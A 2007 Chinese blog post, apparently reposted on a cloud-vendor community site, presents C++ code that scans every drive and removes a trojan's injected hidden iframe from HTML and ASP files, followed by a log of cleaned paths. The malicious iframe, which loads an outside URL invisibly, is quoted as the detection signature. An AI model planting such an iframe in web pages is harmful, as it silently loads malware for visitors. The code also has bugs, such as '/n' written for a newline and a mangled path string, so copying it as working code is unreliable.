一個小小的殺毒程式

來源:互聯網
上載者:User

一個小小的殺毒程式
今天機子中毒了,鬱悶,原來是一個木馬,所有htm/html/asp/aspx/shtml都被感染!沒辦法殺毒也查不出來,無奈就自己殺吧!寫了一個殺毒的程式!呵呵,還能用,不過也發現一寫問題以前老師說檔案的一行最大是1024個字元,以前我對此深信不疑,今天做這個才發現不見得都是,一寫網頁的代碼中就能超過1024有的是很多,幸虧我還有懷疑精神啊,呵呵,就改了,
下面是殺毒的原始碼:

//coded by winc_co

////////////////////////////
//
// coded by winc_fan 2007-4-27
//
//////////////////////////////////
#include <io.h>
#include <stdio.h>
#include <direct.h>
#include <ctype.h>
#include <iostream>
#include <fstream>
#include <string>
using namespace std;

// 感染的木馬
std::string virus = "<iframe src=http://pp.900666.com/abc.htm width=0 height=0></iframe>";
//方法聲明

void DirPath();
void inter();
void killer(std::string path);
bool chkFileEx(std::string filename);
void init();

void main()
{
 inter();
 init();
 
 cout << "............殺毒完成........." << endl;
}

//開始介面設計
void inter()
{
 cout << "======================================================" << endl;
 cout << "歡迎使用winc_co的殺毒軟體!" << endl;
 cout << "殺毒開始..........." << endl;
}

///瀏覽目錄
void DirPath(std::string path)
{
 if(chkFileEx(path))
 {
  cout << "找到目標檔案" << endl;
  cout << path << endl;
  killer(path);
 }
 
 //定義檔案的結構體
 int len=path.length();
 int idx=path.find_last_of('.');
 
 if(idx==len-1)
  return;
 
 struct _finddata_t c_file; //head file <io.h>
 long findFile;
 
 path=path+ "//";
 std::string filename=path;
 path+="*.*";
 
 findFile = _findfirst(path.c_str(), &c_file);
 
 while( _findnext( findFile, &c_file ) == 0 )
 {
  if(chkFileEx(c_file.name))
  {
   cout << "找到目標檔案" << endl;
   cout << filename+c_file.name << endl;
   killer(filename+c_file.name);  
   
   continue;
  }
  
  DirPath(filename+c_file.name);
 }
 
 _findclose( findFile );
}

//程式的開始。。。。。
void init()
{
 //獲得盤符的根目錄
 std::string dsk;
 
 for(int drive = 1; drive <= 26; drive++ )
 {
  //head file <direct.h>
  if( !_chdrive( drive ) )
   dsk=drive + 'A' - 1;
  dsk+=":";
 
  DirPath(dsk);
 }
}

//處理感染檔案
void killer(std::string path)
{
 fstream log;//記錄檔
 fstream temp; //臨時檔案
 fstream target;//目標檔案
 
 std::string tempfile= path.substr(0,path.find_last_of('//'))+"[url=file:////temp.txt]//temp.txt[/url]";
 
 temp.open(tempfile.c_str(),std::ios::out);
 target.open(path.c_str());
 
 char buf[511025];
 
 std::string contp; // 臨時檔案的存放的內容
 while(!target.eof())
 {
  target.getline(buf,511024);
  std::string cockhorse; //木馬
  cockhorse=buf;
               
  //處理病毒的關鍵步驟跳過木馬
  if(cockhorse.find(virus)!=-1L)
  {
   int i=cockhorse.find(virus);

   if(i!=0)
   {
    contp+=cockhorse.substr(0,i-1);
   }
   
   continue;
  }
  
  contp+=buf;
  contp+='/n'; //添加換行
 }
       
 //儲存內容
 temp.write(contp.c_str(),contp.length());
 temp.close();
 target.close();
 
 //刪除目標檔案,用臨時檔案代替
 remove(path.c_str());
 rename(tempfile.c_str(),path.c_str());
 
 //記錄日誌
 log.open("c://log.txt",std::ios::out|std::ios::in|std::ios::app);
 std::string logstr=path+'/n';
 path+='/n';
 
 log.write(path.c_str(),path.length());
 log.close();
}

//尾碼名判斷
bool chkFileEx(std::string filename)
{
 std::string exname;
 int ex=filename.find_last_of(".");
 
 if(ex==-1)
  return false;
 exname=filename.substr(ex);
 
 //尾碼名的檢驗
 if(exname==".html"||exname==".aspx"||exname==".htm"||exname==".asp"||exname==".shtml")
  return true;
 
 return false;
}
 

//=========================================================

日誌:

C:/Documents and Settings/_CSU/Application Data/Mozilla/Firefox/Profiles/l0zhbjov.default/bookmarkbackups/bookmarks-2004-10-15.html
C:/Documents and Settings/_CSU/Application Data/Mozilla/Firefox/Profiles/l0zhbjov.default/bookmarkbackups/bookmarks-2007-04-15.html
C:/Documents and Settings/_CSU/Application Data/Mozilla/Firefox/Profiles/l0zhbjov.default/bookmarks.html
C:/Documents and Settings/_CSU/Local Settings/Temporary Internet Files/Content.IE5/GDMG02V1/pv[1].aspx
C:/Documents and Settings/_CSU/Local Settings/Temporary Internet Files/Content.IE5/GDMG02V1/welcome[1].shtml
C:/Documents and Settings/_CSU/Local Settings/Temporary Internet Files/Content.IE5/MUGLZBF5/s[1].aspx
C:/Documents and Settings/_CSU/Local Settings/Temporary Internet Files/Content.IE5/MUGLZBF5/s[2].aspx
C:/Documents and Settings/_CSU/Local Settings/Temporary Internet Files/Content.IE5/YU4SUCI0/upload[1].html
C:/Documents and Settings/_CSU/Local Settings/Temporary Internet Files/Content.IE5/YU4SUCI0/Url_Count[2].aspx
C:/Inetpub/iissamples/sdk/asp/applications/Application_JScript.asp
C:/Inetpub/iissamples/sdk/asp/applications/Application_VBScript.asp
C:/Inetpub/iissamples/sdk/asp/applications/Session_JScript.asp
C:/Inetpub/iissamples/sdk/asp/applications/Session_VBScript.asp
C:/Inetpub/iissamples/sdk/asp/components/AdRotator_JScript.asp
C:/Inetpub/iissamples/sdk/asp/components/AdRotator_VBScript.asp
C:/Inetpub/iissamples/sdk/asp/components/BrowserCap_JScript.asp
C:/Inetpub/iissamples/sdk/asp/components/BrowserCap_VBScript.asp
C:/Inetpub/iissamples/sdk/asp/components/redirect.asp
C:/Inetpub/iissamples/sdk/asp/database/AddDelete_JScript.asp
C:/Inetpub/iissamples/sdk/asp/database/AddDelete_VBScript.asp
C:/Inetpub/iissamples/sdk/asp/database/LimitRows_JScript.asp
C:/Inetpub/iissamples/sdk/asp/database/LimitRows_VBScript.asp
C:/Inetpub/iissamples/sdk/asp/database/MultiScrolling_JScript.asp
C:/Inetpub/iissamples/sdk/asp/database/MultiScrolling_VBScript.asp
C:/Inetpub/iissamples/sdk/asp/database/SimpleQuery_JScript.asp
C:/Inetpub/iissamples/sdk/asp/database/SimpleQuery_VBScript.asp
C:/Inetpub/iissamples/sdk/asp/database/StoredProcedures_JScript.asp
C:/Inetpub/iissamples/sdk/asp/database/StoredProcedures_VBScript.asp

.........

太多了,就列這些吧

 //後發現有的檔案是大寫的所以在尾碼名判斷的那裡有點問題,換用CString 把它轉換成小寫就好!

CString cexname=exname;
 cexname.MakeLower();
 if( cexname==".html"||
  cexname==".aspx"||
  cexname==".htm"||
  cexname==".asp"||
  cexname==".shtml"
  )

 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.